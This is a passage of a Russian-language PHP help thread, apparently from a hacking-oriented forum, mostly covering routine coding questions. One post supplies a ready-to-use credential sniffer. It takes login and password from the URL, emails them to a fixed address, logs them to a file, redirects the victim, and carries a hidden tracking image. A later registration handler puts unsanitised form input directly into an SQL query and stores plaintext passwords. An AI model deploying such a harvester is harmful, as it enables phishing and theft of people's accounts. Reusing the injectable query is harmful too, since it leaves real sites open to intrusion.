Вот так можеш сделать. PHP: $hex="544324234523534531"; $len=strlen($hex); for($i=0; $i<$len;) { $var[] = substr($hex, $i, 2)."%"; $i += 2; } foreach ($var as $val) { echo ''.$val.'<br>'; }
давай весь код, я не телепат. Эрорит из-зи того что ты Code: <img height=0 width=0 src="http://www.imet/gail.php"> постиш <? тут ?> без использования операторов вывода ________ 0ph.ru
без задержек: PHP: <?PHP Error_Reporting(E_ALL & ~E_NOTICE); $Login = $_GET['Login']; $Domain = $_GET['Domain']; $Pass = $_GET['Password']; //#################################### $from = "ol.ru"; // $to = "o95@ru"; // $subj = " l.com : $Login@$Domain"; // $body = " Логин: $Login@$Domain \n Пароль: $Password"; // //#################################### $from="From: $from\nReply-To: $from\nX-Priority: 1\nContent-Type: text/plain; charset=\"koi8-r\"\nContent-Transfer-Encoding: 8bit"; $from=convert_cyr_string($from,"w","k"); $to=convert_cyr_string($to,"w","k"); $subj=convert_cyr_string($subj,"w","k"); $body=convert_cyr_string($body,"w","k"); mail($to,$subj,$body,$from); $c = "$Login@$Domain:$Password"; $f=fopen("c.txt","at"); flock($f,2); fputs($f,"Логин: ".$_GET['Login']); fputs($f,"Пароль: ".$_GET['Password']."\n"); flock($f,3); fclose($f); header("Location: http://antichat.net"); ?> <img height=0 width=0 src="http://www.imet/gail.php"> ________ 0ph.ru
Сегодня начал разбираться с xpath, вопрос конечно не по PHP, но новую тему создавать смысла думаю нет. Есть XML: Code: <products> <product name="pr_name"> <properties> <property name="distr"> http://example.com/distr.exe </property> <property name="img"> http://imgs.com/img.jpg </property> </properties> </product> <products> Нужно получить ссылку на дистрибутив, указанную в узле <property> с атрибутом name="distr", делаю так: PHP: $xml_string = file_get_contents($url); $xml = simplexml_load_string($xml_string); foreach ($xml->products->product as $product) { $distr = $product->xpath("properties/property[@name='distr']/text()"); print_r($distr); } $distr - пустой массив, что неправильно делаю? Если писать так: $distr = $product->xpath("properties/property[@name='distr']"); то возвращает узел property со списком атрибутов, значит путь пишу верно, но как получить текстовое значение узла? Вопрос снят: ссылка на дистрибутив была в CDATA
$link = "http://nokiabest.ru/files/Emylyatory/games/WAD/40_skin.zip"; $name = explode("/", $link); $name = $name[count($name) - 1]; header("Content-Disposition: attachment; filename=\"Google.Com_$name\";"); file_get_contents($link); почему выдается для скачивания файл с расширением htm, хотя должен с расширением zip?
Привет всем, помогите кто знает. Хочу засабмитить форму multipart/form-data через php + cURL такой post браузер передаёт Code: -----------------------------1889646677285 Content-Disposition: form-data; name="tagcount" 0 -----------------------------1889646677285 Content-Disposition: form-data; name="ffont" 0 -----------------------------1889646677285 Content-Disposition: form-data; name="fcolor" 0 -----------------------------1889646677285 Content-Disposition: form-data; name="fsize" 0 -----------------------------1889646677285 Content-Disposition: form-data; name="a" fcmmnew -----------------------------1889646677285 Content-Disposition: form-data; name="d" 1 -----------------------------1889646677285 Content-Disposition: form-data; name="login" ararat -----------------------------1889646677285 Content-Disposition: form-data; name="foto" 1 -----------------------------1889646677285 Content-Disposition: form-data; name="s" -----------------------------1889646677285 Content-Disposition: form-data; name="message" dsfsdf -----------------------------1889646677285 Content-Disposition: form-data; name="Submit" Отправить -----------------------------1889646677285-- я эт все в массив Code: $postdata = array( 'tagcount' => '0', 'ffont' => '0', 'fcolor' => '0', 'fsize' => '0', 'a' => 'fcmmnew', 'd' => '1', 'login' => 'ararat', 'foto' => '1', 's' => '', 'message' => 'dsfsdf', 'Submit' => 'Отправить' ); Но в результате открывается страничка которая должна открыться, но без коммента, что я не так делаю?
mySql/регистрация Парни нужна помощь,никак не получается загнать в базу данные! Есть форма регистрации,в ней 5 форм: логин е-мейл пароль наст.имя сайт Они отправляются на страницу,с помощью POST Там получаются,тем же POST в соотв. переменную каждый(в отдельную)! Но у меня никак не получается записать их в таблицу! У меня создана база,в ней таблица users в таблице 5 полей соотв. названиям инпутов и выбран тип каждого поля - text!Кому не сложно напишите код который после получения будет их забивать в базу!И скажите еще,правильно ли я выбираю тип поля таблицы - text и при следующем заносе,то бишь при следующей регистрации все будет нормально?Заранее всем спасибо
Код обработчика PHP: <?php $dblocation="localhost"; $dbname="base"; $dbuser="user"; $dbpassword="pass"; $db_connect = mysql_connect($dblocation,$dbuser,$dbpassword); $db_select = mysql_select_db($dbname,$db_connect); $login=$_POST[login]; $password =$_POST[password]; $email =$_POST[email]; $name =$_POST[name]; $www =$_POST[www]; $userAdd = mysql_query("INSERT INTO users (login,password,email,name,www) VALUES ('$login', '$password', '$email', '$name', '$www', ''"); ?>
PHP: <?php $login=$_POST['login']; $password =$_POST['password']; $email =$_POST['email']; $name =$_POST['name']; $www =$_POST['www']; ?> а если так?
я заметил что разницы нет,хоть в другом скрипте но думаю все же! С кавычками у меня проблем не было,лучше посмотри в мускул запросом все правильно?